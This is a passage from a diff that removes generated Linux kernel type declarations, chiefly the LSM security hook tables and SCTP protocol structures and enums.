(*vm_enough_memory)(struct mm_struct *, long int); - int (*bprm_creds_for_exec)(struct linux_binprm *); - int (*bprm_creds_from_file)(struct linux_binprm *, struct file *); - int (*bprm_check_security)(struct linux_binprm *); - void (*bprm_committing_creds)(struct linux_binprm *); - void (*bprm_committed_creds)(struct linux_binprm *); - int (*fs_context_dup)(struct fs_context *, struct fs_context *); - int (*fs_context_parse_param)(struct fs_context *, struct fs_parameter *); - int (*sb_alloc_security)(struct super_block *); - void (*sb_delete)(struct super_block *); - void (*sb_free_security)(struct super_block *); - void (*sb_free_mnt_opts)(void *); - int (*sb_eat_lsm_opts)(char *, void **); - int (*sb_mnt_opts_compat)(struct super_block *, void *); - int (*sb_remount)(struct super_block *, void *); - int (*sb_kern_mount)(struct super_block *); - int (*sb_show_options)(struct seq_file *, struct super_block *); - int (*sb_statfs)(struct dentry *); - int (*sb_mount)(const char *, const struct path *, const char *, long unsigned int, void *); - int (*sb_umount)(struct vfsmount *, int); - int (*sb_pivotroot)(const struct path *, const struct path *); - int (*sb_set_mnt_opts)(struct super_block *, void *, long unsigned int, long unsigned int *); - int (*sb_clone_mnt_opts)(const struct super_block *, struct super_block *, long unsigned int, long unsigned int *); - int (*move_mount)(const struct path *, const struct path *); - int (*dentry_init_security)(struct dentry *, int, const struct qstr *, const char **, void **, u32 *); - int (*dentry_create_files_as)(struct dentry *, int, struct qstr *, const struct cred *, struct cred *); - int (*path_notify)(const struct path *, u64, unsigned int); - int (*inode_alloc_security)(struct inode *); - void (*inode_free_security)(struct inode *); - int (*inode_init_security)(struct inode *, struct inode *, const struct qstr *, const char **, void **, size_t *); - int (*inode_init_security_anon)(struct inode *, const struct qstr *, const struct inode *); - int (*inode_create)(struct inode *, struct dentry *, umode_t); - int (*inode_link)(struct dentry *, struct inode *, struct dentry *); - int (*inode_unlink)(struct inode *, struct dentry *); - int (*inode_symlink)(struct inode *, struct dentry *, const char *); - int (*inode_mkdir)(struct inode *, struct dentry *, umode_t); - int (*inode_rmdir)(struct inode *, struct dentry *); - int (*inode_mknod)(struct inode *, struct dentry *, umode_t, dev_t); - int (*inode_rename)(struct inode *, struct dentry *, struct inode *, struct dentry *); - int (*inode_readlink)(struct dentry *); - int (*inode_follow_link)(struct dentry *, struct inode *, bool); - int (*inode_permission)(struct inode *, int); - int (*inode_setattr)(struct dentry *, struct iattr *); - int (*inode_getattr)(const struct path *); - int (*inode_setxattr)(struct user_namespace *, struct dentry *, const char *, const void *, size_t, int); - void (*inode_post_setxattr)(struct dentry *, const char *, const void *, size_t, int); - int (*inode_getxattr)(struct dentry *, const char *); - int (*inode_listxattr)(struct dentry *); - int (*inode_removexattr)(struct user_namespace *, struct dentry *, const char *); - int (*inode_need_killpriv)(struct dentry *); - int (*inode_killpriv)(struct user_namespace *, struct dentry *); - int (*inode_getsecurity)(struct user_namespace *, struct inode *, const char *, void **, bool); - int (*inode_setsecurity)(struct inode *, const char *, const void *, size_t, int); - int (*inode_listsecurity)(struct inode *, char *, size_t); - void (*inode_getsecid)(struct inode *, u32 *); - int (*inode_copy_up)(struct dentry *, struct cred **); - int (*inode_copy_up_xattr)(const char *); - int (*kernfs_init_security)(struct kernfs_node *, struct kernfs_node *); - int (*file_permission)(struct file *, int); - int (*file_alloc_security)(struct file *); - void (*file_free_security)(struct file *); - int (*file_ioctl)(struct file *, unsigned int, long unsigned int); - int (*mmap_addr)(long unsigned int); - int (*mmap_file)(struct file *, long unsigned int, long unsigned int, long unsigned int); - int (*file_mprotect)(struct vm_area_struct *, long unsigned int, long unsigned int); - int (*file_lock)(struct file *, unsigned int); - int (*file_fcntl)(struct file *, unsigned int, long unsigned int); - void (*file_set_fowner)(struct file *); - int (*file_send_sigiotask)(struct task_struct *, struct fown_struct *, int); - int (*file_receive)(struct file *); - int (*file_open)(struct file *); - int (*task_alloc)(struct task_struct *, long unsigned int); - void (*task_free)(struct task_struct *); - int (*cred_alloc_blank)(struct cred *, gfp_t); - void (*cred_free)(struct cred *); - int (*cred_prepare)(struct cred *, const struct cred *, gfp_t); - void (*cred_transfer)(struct cred *, const struct cred *); - void (*cred_getsecid)(const struct cred *, u32 *); - int (*kernel_act_as)(struct cred *, u32); - int (*kernel_create_files_as)(struct cred *, struct inode *); - int (*kernel_module_request)(char *); - int (*kernel_load_data)(enum kernel_load_data_id, bool); - int (*kernel_post_load_data)(char *, loff_t, enum kernel_load_data_id, char *); - int (*kernel_read_file)(struct file *, enum kernel_read_file_id, bool); - int (*kernel_post_read_file)(struct file *, char *, loff_t, enum kernel_read_file_id); - int (*task_fix_setuid)(struct cred *, const struct cred *, int); - int (*task_fix_setgid)(struct cred *, const struct cred *, int); - int (*task_fix_setgroups)(struct cred *, const struct cred *); - int (*task_setpgid)(struct task_struct *, pid_t); - int (*task_getpgid)(struct task_struct *); - int (*task_getsid)(struct task_struct *); - void (*current_getsecid_subj)(u32 *); - void (*task_getsecid_obj)(struct task_struct *, u32 *); - int (*task_setnice)(struct task_struct *, int); - int (*task_setioprio)(struct task_struct *, int); - int (*task_getioprio)(struct task_struct *); - int (*task_prlimit)(const struct cred *, const struct cred *, unsigned int); - int (*task_setrlimit)(struct task_struct *, unsigned int, struct rlimit *); - int (*task_setscheduler)(struct task_struct *); - int (*task_getscheduler)(struct task_struct *); - int (*task_movememory)(struct task_struct *); - int (*task_kill)(struct task_struct *, struct kernel_siginfo *, int, const struct cred *); - int (*task_prctl)(int, long unsigned int, long unsigned int, long unsigned int, long unsigned int); - void (*task_to_inode)(struct task_struct *, struct inode *); - int (*userns_create)(const struct cred *); - int (*ipc_permission)(struct kern_ipc_perm *, short int); - void (*ipc_getsecid)(struct kern_ipc_perm *, u32 *); - int (*msg_msg_alloc_security)(struct msg_msg *); - void (*msg_msg_free_security)(struct msg_msg *); - int (*msg_queue_alloc_security)(struct kern_ipc_perm *); - void (*msg_queue_free_security)(struct kern_ipc_perm *); - int (*msg_queue_associate)(struct kern_ipc_perm *, int); - int (*msg_queue_msgctl)(struct kern_ipc_perm *, int); - int (*msg_queue_msgsnd)(struct kern_ipc_perm *, struct msg_msg *, int); - int (*msg_queue_msgrcv)(struct kern_ipc_perm *, struct msg_msg *, struct task_struct *, long int, int); - int (*shm_alloc_security)(struct kern_ipc_perm *); - void (*shm_free_security)(struct kern_ipc_perm *); - int (*shm_associate)(struct kern_ipc_perm *, int); - int (*shm_shmctl)(struct kern_ipc_perm *, int); - int (*shm_shmat)(struct kern_ipc_perm *, char *, int); - int (*sem_alloc_security)(struct kern_ipc_perm *); - void (*sem_free_security)(struct kern_ipc_perm *); - int (*sem_associate)(struct kern_ipc_perm *, int); - int (*sem_semctl)(struct kern_ipc_perm *, int); - int (*sem_semop)(struct kern_ipc_perm *, struct sembuf *, unsigned int, int); - int (*netlink_send)(struct sock *, struct sk_buff *); - void (*d_instantiate)(struct dentry *, struct inode *); - int (*getprocattr)(struct task_struct *, const char *, char **); - int (*setprocattr)(const char *, void *, size_t); - int (*ismaclabel)(const char *); - int (*secid_to_secctx)(u32, char **, u32 *); - int (*secctx_to_secid)(const char *, u32, u32 *); - void (*release_secctx)(char *, u32); - void (*inode_invalidate_secctx)(struct inode *); - int (*inode_notifysecctx)(struct inode *, void *, u32); - int (*inode_setsecctx)(struct dentry *, void *, u32); - int (*inode_getsecctx)(struct inode *, void **, u32 *); - int (*unix_stream_connect)(struct sock *, struct sock *, struct sock *); - int (*unix_may_send)(struct socket *, struct socket *); - int (*socket_create)(int, int, int, int); - int (*socket_post_create)(struct socket *, int, int, int, int); - int (*socket_socketpair)(struct socket *, struct socket *); - int (*socket_bind)(struct socket *, struct sockaddr *, int); - int (*socket_connect)(struct socket *, struct sockaddr *, int); - int (*socket_listen)(struct socket *, int); - int (*socket_accept)(struct socket *, struct socket *); - int (*socket_sendmsg)(struct socket *, struct msghdr *, int); - int (*socket_recvmsg)(struct socket *, struct msghdr *, int, int); - int (*socket_getsockname)(struct socket *); - int (*socket_getpeername)(struct socket *); - int (*socket_getsockopt)(struct socket *, int, int); - int (*socket_setsockopt)(struct socket *, int, int); - int (*socket_shutdown)(struct socket *, int); - int (*socket_sock_rcv_skb)(struct sock *, struct sk_buff *); - int (*socket_getpeersec_stream)(struct socket *, char *, int *, unsigned int); - int (*socket_getpeersec_dgram)(struct socket *, struct sk_buff *, u32 *); - int (*sk_alloc_security)(struct sock *, int, gfp_t); - void (*sk_free_security)(struct sock *); - void (*sk_clone_security)(const struct sock *, struct sock *); - void (*sk_getsecid)(struct sock *, u32 *); - void (*sock_graft)(struct sock *, struct socket *); - int (*inet_conn_request)(const struct sock *, struct sk_buff *, struct request_sock *); - void (*inet_csk_clone)(struct sock *, const struct request_sock *); - void (*inet_conn_established)(struct sock *, struct sk_buff *); - int (*secmark_relabel_packet)(u32); - void (*secmark_refcount_inc)(); - void (*secmark_refcount_dec)(); - void (*req_classify_flow)(const struct request_sock *, struct flowi_common *); - int (*tun_dev_alloc_security)(void **); - void (*tun_dev_free_security)(void *); - int (*tun_dev_create)(); - int (*tun_dev_attach_queue)(void *); - int (*tun_dev_attach)(struct sock *, void *); - int (*tun_dev_open)(void *); - int (*sctp_assoc_request)(struct sctp_association *, struct sk_buff *); - int (*sctp_bind_connect)(struct sock *, int, struct sockaddr *, int); - void (*sctp_sk_clone)(struct sctp_association *, struct sock *, struct sock *); - int (*sctp_assoc_established)(struct sctp_association *, struct sk_buff *); - int (*key_alloc)(struct key *, const struct cred *, long unsigned int); - void (*key_free)(struct key *); - int (*key_permission)(key_ref_t, const struct cred *, enum key_need_perm); - int (*key_getsecurity)(struct key *, char **); - int (*audit_rule_init)(u32, u32, char *, void **); - int (*audit_rule_known)(struct audit_krule *); - int (*audit_rule_match)(u32, u32, u32, void *); - void (*audit_rule_free)(void *); - int (*bpf)(int, union bpf_attr *, unsigned int); - int (*bpf_map)(struct bpf_map *, fmode_t); - int (*bpf_prog)(struct bpf_prog *); - int (*bpf_map_alloc_security)(struct bpf_map *); - void (*bpf_map_free_security)(struct bpf_map *); - int (*bpf_prog_alloc_security)(struct bpf_prog_aux *); - void (*bpf_prog_free_security)(struct bpf_prog_aux *); - int (*locked_down)(enum lockdown_reason); - int (*perf_event_open)(struct perf_event_attr *, int); - int (*perf_event_alloc)(struct perf_event *); - void (*perf_event_free)(struct perf_event *); - int (*perf_event_read)(struct perf_event *); - int (*perf_event_write)(struct perf_event *); - int (*uring_override_creds)(const struct cred *); - int (*uring_sqpoll)(); - int (*uring_cmd)(struct io_uring_cmd *); -}; - -enum sctp_endpoint_type { - SCTP_EP_TYPE_SOCKET = 0, - SCTP_EP_TYPE_ASSOCIATION = 1, -}; - -struct sctp_chunk; - -struct sctp_inq { - struct list_head in_chunk_list; - struct sctp_chunk *in_progress; - struct work_struct immediate; -}; - -struct sctp_bind_addr { - __u16 port; - struct list_head address_list; -}; - -struct sctp_ep_common { - enum sctp_endpoint_type type; - refcount_t refcnt; - bool dead; - struct sock *sk; - struct net *net; - struct sctp_inq inqueue; - struct sctp_bind_addr bind_addr; -}; - -typedef __s32 sctp_assoc_t; - -union sctp_addr { - struct sockaddr_in v4; - struct sockaddr_in6 v6; - struct sockaddr sa; -}; - -struct sctp_chunkhdr { - __u8 type; - __u8 flags; - __be16 length; -}; - -struct sctp_inithdr { - __be32 init_tag; - __be32 a_rwnd; - __be16 num_outbound_streams; - __be16 num_inbound_streams; - __be32 initial_tsn; - __u8 params[0]; -}; - -struct sctp_init_chunk { - struct sctp_chunkhdr chunk_hdr; - struct sctp_inithdr init_hdr; -}; - -struct sctp_cookie { - __u32 my_vtag; - __u32 peer_vtag; - __u32 my_ttag; - __u32 peer_ttag; - ktime_t expiration; - __u16 sinit_num_ostreams; - __u16 sinit_max_instreams; - __u32 initial_tsn; - union sctp_addr peer_addr; - __u16 my_port; - __u8 prsctp_capable; - __u8 padding; - __u32 adaptation_ind; - __u8 auth_random[36]; - __u8 auth_hmacs[10]; - __u8 auth_chunks[20]; - __u32 raw_addr_list_len; - struct sctp_init_chunk peer_init[0]; -}; - -struct sctp_tsnmap { - long unsigned int *tsn_map; - __u32 base_tsn; - __u32 cumulative_tsn_ack_point; - __u32 max_tsn_seen; - __u16 len; - __u16 pending_data; - __u16 num_dup_tsns; - __be32 dup_tsns[16]; -}; - -struct sctp_inithdr_host { - __u32 init_tag; - __u32 a_rwnd; - __u16 num_outbound_streams; - __u16 num_inbound_streams; - __u32 initial_tsn; -}; - -enum sctp_state { - SCTP_STATE_CLOSED = 0, - SCTP_STATE_COOKIE_WAIT = 1, - SCTP_STATE_COOKIE_ECHOED = 2, - SCTP_STATE_ESTABLISHED = 3, - SCTP_STATE_SHUTDOWN_PENDING = 4, - SCTP_STATE_SHUTDOWN_SENT = 5, - SCTP_STATE_SHUTDOWN_RECEIVED = 6, - SCTP_STATE_SHUTDOWN_ACK_SENT = 7, -}; - -struct genradix_root; - -struct __genradix { - struct genradix_root *root; -}; - -struct sctp_stream_out_ext; - -struct sctp_stream_out { - union { - __u32 mid; - __u16 ssn; - }; - __u32 mid_uo; - struct sctp_stream_out_ext *ext; - __u8 state; -}; - -struct sctp_stream_in { - union { - __u32 mid; - __u16 ssn; - }; - __u32 mid_uo; - __u32 fsn; - __u32 fsn_uo; - char pd_mode; - char pd_mode_uo; -}; - -struct sctp_stream_interleave; - -struct sctp_stream { - struct { - struct __genradix tree; - struct sctp_stream_out type[0]; - } out; - struct { - struct __genradix tree; - struct sctp_stream_in type[0]; - } in; - __u16 outcnt; - __u16 incnt; - struct sctp_stream_out *out_curr; - union { - struct { - struct list_head prio_list; - }; - struct { - struct list_head rr_list; - struct sctp_stream_out_ext *rr_next; - }; - }; - struct sctp_stream_interleave *si; -}; - -struct sctp_sched_ops; - -struct sctp_outq { - struct sctp_association *asoc; - struct list_head out_chunk_list; - struct sctp_sched_ops *sched; - unsigned int out_qlen; - unsigned int error; - struct list_head control_chunk_list; - struct list_head sacked; - struct list_head retransmit; - struct list_head abandoned; - __u32 outstanding_bytes; - char fast_rtx; - char cork; -}; - -struct sctp_ulpq { - char pd_mode; - struct sctp_association *asoc; - struct sk_buff_head reasm; - struct sk_buff_head reasm_uo; - struct sk_buff_head lobby; -}; - -struct sctp_priv_assoc_stats { - struct __kernel_sockaddr_storage obs_rto_ipaddr; - __u64 max_obs_rto; - __u64 isacks; - __u64 osacks; - __u64 opackets; - __u64 ipackets; - __u64 rtxchunks; - __u64 outofseqtsns; - __u64 idupchunks; - __u64 gapcnt; - __u64 ouodchunks; - __u64 iuodchunks; - __u64 oodchunks; - __u64 iodchunks; - __u64 octrlchunks; - __u64 ictrlchunks; -}; - -struct sctp_endpoint; - -struct sctp_transport; - -struct sctp_random_param; - -struct sctp_chunks_param; - -struct sctp_hmac_algo_param; - -struct sctp_auth_bytes; - -struct sctp_shared_key; - -struct sctp_association { - struct sctp_ep_common base; - struct list_head asocs; - sctp_assoc_t assoc_id; - struct sctp_endpoint *ep; - struct sctp_cookie c; - struct { - struct list_head transport_addr_list; - __u32 rwnd; - __u16 transport_count; - __u16 port; - struct sctp_transport *primary_path; - union sctp_addr primary_addr; - struct sctp_transport *active_path; - struct sctp_transport *retran_path; - struct sctp_transport *last_sent_to; - struct sctp_transport *last_data_from; - struct sctp_tsnmap tsn_map; - __be16 addip_disabled_mask; - __u16 ecn_capable: 1; - __u16 ipv4_address: 1; - __u16 ipv6_address: 1; - __u16 hostname_address: 1; - __u16 asconf_capable: 1; - __u16 prsctp_capable: 1; - __u16 reconf_capable: 1; - __u16 intl_capable: 1; - __u16 auth_capable: 1; - __u16 sack_needed: 1; - __u16 sack_generation: 1; - __u16 zero_window_announced: 1; - __u32 sack_cnt; - __u32 adaptation_ind; - struct sctp_inithdr_host i; - void *cookie; - int cookie_len; - __u32 addip_serial; - struct sctp_random_param *peer_random; - struct sctp_chunks_param *peer_chunks; - struct sctp_hmac_algo_param *peer_hmacs; - } peer; - enum sctp_state state; - int overall_error_count; - ktime_t cookie_life; - long unsigned int rto_initial; - long unsigned int rto_max; - long unsigned int rto_min; - int max_burst; - int max_retrans; - __u16 pf_retrans; - __u16 ps_retrans; - __u16 max_init_attempts; - __u16 init_retries; - long unsigned int max_init_timeo; - long unsigned int hbinterval; - long unsigned int probe_interval; - __be16 encap_port; - __u16 pathmaxrxt; - __u32 flowlabel; - __u8 dscp; - __u8 pmtu_pending; - __u32 pathmtu; - __u32 param_flags; - __u32 sackfreq; - long unsigned int sackdelay; - long unsigned int timeouts[12]; - struct timer_list timers[12]; - struct sctp_transport *shutdown_last_sent_to; - struct sctp_transport *init_last_sent_to; - int shutdown_retries; - __u32 next_tsn; - __u32 ctsn_ack_point; - __u32 adv_peer_ack_point; - __u32 highest_sacked; - __u32 fast_recovery_exit; - __u8 fast_recovery; - __u16 unack_data; - __u32 rtx_data_chunks; - __u32 rwnd; - __u32 a_rwnd; - __u32 rwnd_over; - __u32 rwnd_press; - int sndbuf_used; - atomic_t rmem_alloc; - wait_queue_head_t wait; - __u32 frag_point; - __u32 user_frag; - int init_err_counter; - int init_cycle; - __u16 default_stream; - __u16 default_flags; - __u32 default_ppid; - __u32 default_context; - __u32 default_timetolive; - __u32 default_rcv_context; - struct sctp_stream stream; - struct sctp_outq outqueue; - struct sctp_ulpq ulpq; - __u32 last_ecne_tsn; - __u32 last_cwr_tsn; - int numduptsns; - struct sctp_chunk *addip_last_asconf; - struct list_head asconf_ack_list; - struct list_head addip_chunk_list; - __u32 addip_serial; - int src_out_of_asoc_ok; - union sctp_addr *asconf_addr_del_pending; - struct sctp_transport *new_transport; - struct list_head endpoint_shared_keys; - struct sctp_auth_bytes *asoc_shared_key; - struct sctp_shared_key *shkey; - __u16 default_hmac_id; - __u16 active_key_id; - __u8 need_ecne: 1; - __u8 temp: 1; - __u8 pf_expose: 2; - __u8 force_delay: 1; - __u8 strreset_enable; - __u8 strreset_outstanding; - __u32 strreset_outseq; - __u32 strreset_inseq; - __u32 strreset_result[2]; - struct sctp_chunk *strreset_chunk; - struct sctp_priv_assoc_stats stats; - int sent_cnt_removable; - __u16 subscribe; - __u64 abandoned_unsent[3]; - __u64 abandoned_sent[3]; - u32 secid; - u32 peer_secid; - struct callback_head rcu; -}; - -struct security_hook_heads { - struct hlist_head binder_set_context_mgr; - struct hlist_head binder_transaction; - struct hlist_head binder_transfer_binder; - struct hlist_head binder_transfer_file; - struct hlist_head ptrace_access_check; - struct hlist_head ptrace_traceme; - struct hlist_head capget; - struct hlist_head capset; - struct hlist_head capable; - struct hlist_head quotactl; - struct hlist_head quota_on; - struct hlist_head syslog; - struct hlist_head settime; - struct hlist_head vm_enough_memory; - struct hlist_head bprm_creds_for_exec; - struct hlist_head bprm_creds_from_file; - struct hlist_head bprm_check_security; - struct hlist_head bprm_committing_creds; - struct hlist_head bprm_committed_creds; - struct hlist_head fs_context_dup; - struct hlist_head fs_context_parse_param; - struct hlist_head sb_alloc_security; - struct hlist_head sb_delete; - struct hlist_head sb_free_security; - struct hlist_head sb_free_mnt_opts; - struct hlist_head sb_eat_lsm_opts; - struct hlist_head sb_mnt_opts_compat; - struct hlist_head sb_remount; - struct hlist_head sb_kern_mount; - struct hlist_head sb_show_options; - struct hlist_head sb_statfs; - struct hlist_head sb_mount; - struct hlist_head sb_umount; - struct hlist_head sb_pivotroot; - struct hlist_head sb_set_mnt_opts; - struct hlist_head sb_clone_mnt_opts; - struct hlist_head move_mount; - struct hlist_head dentry_init_security; - struct hlist_head dentry_create_files_as; - struct hlist_head path_notify; - struct hlist_head inode_alloc_security; - struct hlist_head inode_free_security; - struct hlist_head inode_init_security; - struct hlist_head inode_init_security_anon; - struct hlist_head inode_create; - struct hlist_head inode_link; - struct hlist_head inode_unlink; - struct hlist_head inode_symlink; - struct hlist_head inode_mkdir; - struct hlist_head inode_rmdir; - struct hlist_head inode_mknod; - struct hlist_head inode_rename; - struct hlist_head inode_readlink; - struct hlist_head inode_follow_link; - struct hlist_head inode_permission; - struct hlist_head inode_setattr; - struct hlist_head inode_getattr; - struct hlist_head inode_setxattr; - struct hlist_head inode_post_setxattr; - struct hlist_head inode_getxattr; - struct hlist_head inode_listxattr; - struct hlist_head inode_removexattr; - struct hlist_head inode_need_killpriv; - struct hlist_head inode_killpriv; - struct hlist_head inode_getsecurity; - struct hlist_head inode_setsecurity; - struct hlist_head inode_listsecurity; - struct hlist_head inode_getsecid; - struct hlist_head inode_copy_up; - struct hlist_head inode_copy_up_xattr; - struct hlist_head kernfs_init_security; - struct hlist_head file_permission; - struct hlist_head file_alloc_security; - struct hlist_head file_free_security; - struct hlist_head file_ioctl; - struct hlist_head mmap_addr; - struct hlist_head mmap_file; - struct hlist_head file_mprotect; - struct hlist_head file_lock; - struct hlist_head file_fcntl; - struct hlist_head file_set_fowner; - struct hlist_head file_send_sigiotask; - struct hlist_head file_receive; - struct hlist_head file_open; - struct hlist_head task_alloc; - struct hlist_head task_free; - struct hlist_head cred_alloc_blank; - struct hlist_head cred_free; - struct hlist_head cred_prepare; - struct hlist_head cred_transfer; - struct hlist_head cred_getsecid; - struct hlist_head kernel_act_as; - struct hlist_head kernel_create_files_as; - struct hlist_head kernel_module_request; - struct hlist_head kernel_load_data; - struct hlist_head kernel_post_load_data; - struct hlist_head kernel_read_file; - struct hlist_head kernel_post_read_file; - struct hlist_head task_fix_setuid; - struct hlist_head task_fix_setgid; - struct hlist_head task_fix_setgroups; - struct hlist_head task_setpgid; - struct hlist_head task_getpgid; - struct hlist_head task_getsid; - struct hlist_head current_getsecid_subj; - struct hlist_head task_getsecid_obj; - struct hlist_head task_setnice; - struct hlist_head task_setioprio; - struct hlist_head task_getioprio; - struct hlist_head task_prlimit; - struct hlist_head task_setrlimit; - struct hlist_head task_setscheduler; - struct hlist_head task_getscheduler; - struct hlist_head task_movememory; - struct hlist_head task_kill; - struct hlist_head task_prctl; - struct hlist_head task_to_inode; - struct hlist_head userns_create; - struct hlist_head ipc_permission; - struct hlist_head ipc_getsecid; - struct hlist_head msg_msg_alloc_security; - struct hlist_head msg_msg_free_security; - struct hlist_head msg_queue_alloc_security; - struct hlist_head msg_queue_free_security; - struct hlist_head msg_queue_associate; - struct hlist_head msg_queue_msgctl; - struct hlist_head msg_queue_msgsnd; - struct hlist_head msg_queue_msgrcv; - struct hlist_head shm_alloc_security; - struct hlist_head shm_free_security; - struct hlist_head shm_associate; - struct hlist_head shm_shmctl; - struct hlist_head shm_shmat; - struct hlist_head sem_alloc_security; - struct hlist_head sem_free_security; - struct hlist_head sem_associate; - struct hlist_head sem_semctl; - struct hlist_head sem_semop; - struct hlist_head netlink_send; - struct hlist_head d_instantiate; - struct hlist_head getprocattr; - struct hlist_head setprocattr; - struct hlist_head ismaclabel; - struct hlist_head secid_to_secctx; - struct hlist_head secctx_to_secid; - struct hlist_head release_secctx; - struct hlist_head inode_invalidate_secctx; - struct hlist_head inode_notifysecctx; - struct hlist_head inode_setsecctx; - struct hlist_head inode_getsecctx; - struct hlist_head unix_stream_connect; - struct hlist_head unix_may_send; - struct hlist_head socket_create; - struct hlist_head socket_post_create; - struct hlist_head socket_socketpair; - struct hlist_head socket_bind; - struct hlist_head socket_connect; - struct hlist_head socket_listen; - struct hlist_head socket_accept; - struct hlist_head socket_sendmsg; - struct hlist_head socket_recvmsg; - struct hlist_head socket_getsockname; - struct hlist_head socket_getpeername; - struct hlist_head socket_getsockopt; - struct hlist_head socket_setsockopt; - struct hlist_head socket_shutdown; - struct hlist_head socket_sock_rcv_skb; - struct hlist_head socket_getpeersec_stream; - struct hlist_head socket_getpeersec_dgram; - struct hlist_head sk_alloc_security; - struct hlist_head sk_free_security; - struct hlist_head sk_clone_security; - struct hlist_head sk_getsecid; - struct hlist_head sock_graft; - struct hlist_head inet_conn_request; - struct hlist_head inet_csk_clone; - struct hlist_head inet_conn_established; - struct hlist_head secmark_relabel_packet; - struct hlist_head secmark_refcount_inc; - struct hlist_head secmark_refcount_dec; - struct hlist_head req_classify_flow; - struct hlist_head tun_dev_alloc_security; - struct hlist_head tun_dev_free_security; - struct hlist_head tun_dev_create; - struct hlist_head tun_dev_attach_queue; - struct hlist_head tun_dev_attach; - struct hlist_head tun_dev_open; - struct hlist_head sctp_assoc_request; - struct hlist_head sctp_bind_connect; - struct hlist_head sctp_sk_clone; - struct hlist_head sctp_assoc_established; - struct hlist_head key_alloc; - struct hlist_head key_free; - struct hlist_head key_permission; - struct hlist_head key_getsecurity; - struct hlist_head audit_rule_init; - struct hlist_head audit_rule_known; - struct hlist_head audit_rule_match; - struct hlist_head audit_rule_free; - struct hlist_head bpf; - struct hlist_head bpf_map; - struct hlist_head bpf_prog; - struct hlist_head bpf_map_alloc_security; - struct hlist_head bpf_map_free_security; - struct hlist_head bpf_prog_alloc_security; - struct hlist_head bpf_prog_free_security; - struct hlist_head locked_down; - struct hlist_head perf_event_open; - struct hlist_head perf_event_alloc; - struct hlist_head perf_event_free; - struct hlist_head perf_event_read; - struct hlist_head perf_event_write; - struct hlist_head uring_override_creds; - struct hlist_head uring_sqpoll; - struct hlist_head uring_cmd; -}; - -struct security_hook_list { - struct hlist_node list; - struct hlist_head *head; - union security_list_options hook; - const char *lsm; -}; - -enum lsm_order { - LSM_ORDER_FIRST = -1, - LSM_ORDER_MUTABLE = 0, -}; - -struct lsm_info { - const char *name; - enum lsm_order order; - long unsigned int flags; - int *enabled; - int (*init)(); - struct lsm_blob_sizes *blobs; -}; - -enum dccp_state { - DCCP_OPEN = 1, - DCCP_REQUESTING = 2, - DCCP_LISTEN = 10, - DCCP_RESPOND = 3, - DCCP_ACTIVE_CLOSEREQ = 4, - DCCP_PASSIVE_CLOSE = 8, - DCCP_CLOSING = 11, - DCCP_TIME_WAIT = 6, - DCCP_CLOSED = 7, - DCCP_NEW_SYN_RECV = 12, - DCCP_PARTOPEN = 13, - DCCP_PASSIVE_CLOSEREQ = 14, - DCCP_MAX_STATES = 15, -}; - -struct sctp_initmsg { - __u16 sinit_num_ostreams; - __u16 sinit_max_instreams; - __u16 sinit_max_attempts; - __u16 sinit_max_init_timeo; -}; - -struct sctp_sndrcvinfo { - __u16 sinfo_stream; - __u16 sinfo_ssn; - __u16 sinfo_flags; - __u32 sinfo_ppid; - __u32 sinfo_context; - __u32 sinfo_timetolive; - __u32 sinfo_tsn; - __u32 sinfo_cumtsn; - sctp_assoc_t sinfo_assoc_id; -}; - -struct sctp_rtoinfo { - sctp_assoc_t srto_assoc_id; - __u32 srto_initial; - __u32 srto_max; - __u32 srto_min; -}; - -struct sctp_assocparams { - sctp_assoc_t sasoc_assoc_id; - __u16 sasoc_asocmaxrxt; - __u16 sasoc_number_peer_destinations; - __u32 sasoc_peer_rwnd; - __u32 sasoc_local_rwnd; - __u32 sasoc_cookie_life; -}; - -struct sctp_paddrparams { - sctp_assoc_t spp_assoc_id; - struct __kernel_sockaddr_storage spp_address; - __u32 spp_hbinterval; - __u16 spp_pathmaxrxt; - __u32 spp_pathmtu; - __u32 spp_sackdelay; - __u32 spp_flags; - __u32 spp_ipv6_flowlabel; - __u8 spp_dscp; - int: 0; -} __attribute__((packed)); - -enum sctp_cid { - SCTP_CID_DATA = 0, - SCTP_CID_INIT = 1, - SCTP_CID_INIT_ACK = 2, - SCTP_CID_SACK = 3, - SCTP_CID_HEARTBEAT = 4, - SCTP_CID_HEARTBEAT_ACK = 5, - SCTP_CID_ABORT = 6, - SCTP_CID_SHUTDOWN = 7, - SCTP_CID_SHUTDOWN_ACK = 8, - SCTP_CID_ERROR = 9, - SCTP_CID_COOKIE_ECHO = 10, - SCTP_CID_COOKIE_ACK = 11, - SCTP_CID_ECN_ECNE = 12, - SCTP_CID_ECN_CWR = 13, - SCTP_CID_SHUTDOWN_COMPLETE = 14, - SCTP_CID_AUTH = 15, - SCTP_CID_I_DATA = 64, - SCTP_CID_FWD_TSN = 192, - SCTP_CID_ASCONF = 193, - SCTP_CID_I_FWD_TSN = 194, - SCTP_CID_ASCONF_ACK = 128, - SCTP_CID_RECONF = 130, - SCTP_CID_PAD = 132, -}; - -struct sctp_paramhdr { - __be16 type; - __be16 length; -}; - -enum sctp_param { - SCTP_PARAM_HEARTBEAT_INFO = 256, - SCTP_PARAM_IPV4_ADDRESS = 1280, - SCTP_PARAM_IPV6_ADDRESS = 1536, - SCTP_PARAM_STATE_COOKIE = 1792, - SCTP_PARAM_UNRECOGNIZED_PARAMETERS = 2048, - SCTP_PARAM_COOKIE_PRESERVATIVE = 2304, - SCTP_PARAM_HOST_NAME_ADDRESS = 2816, - SCTP_PARAM_SUPPORTED_ADDRESS_TYPES = 3072, - SCTP_PARAM_ECN_CAPABLE = 128, - SCTP_PARAM_RANDOM = 640, - SCTP_PARAM_CHUNKS = 896, - SCTP_PARAM_HMAC_ALGO = 1152, - SCTP_PARAM_SUPPORTED_EXT = 2176, - SCTP_PARAM_FWD_TSN_SUPPORT = 192, - SCTP_PARAM_ADD_IP = 448, - SCTP_PARAM_DEL_IP = 704, - SCTP_PARAM_ERR_CAUSE = 960, - SCTP_PARAM_SET_PRIMARY = 1216, - SCTP_PARAM_SUCCESS_REPORT = 1472, - SCTP_PARAM_ADAPTATION_LAYER_IND = 1728, - SCTP_PARAM_RESET_OUT_REQUEST = 3328, - SCTP_PARAM_RESET_IN_REQUEST = 3584, - SCTP_PARAM_RESET_TSN_REQUEST = 3840, - SCTP_PARAM_RESET_RESPONSE = 4096, - SCTP_PARAM_RESET_ADD_OUT_STREAMS = 4352, - SCTP_PARAM_RESET_ADD_IN_STREAMS = 4608, -}; - -struct sctp_datahdr { - __be32 tsn; - __be16 stream; - __be16 ssn; - __u32 ppid; - __u8 payload[0]; -}; - -struct sctp_idatahdr { - __be32 tsn; - __be16 stream; - __be16 reserved; - __be32 mid; 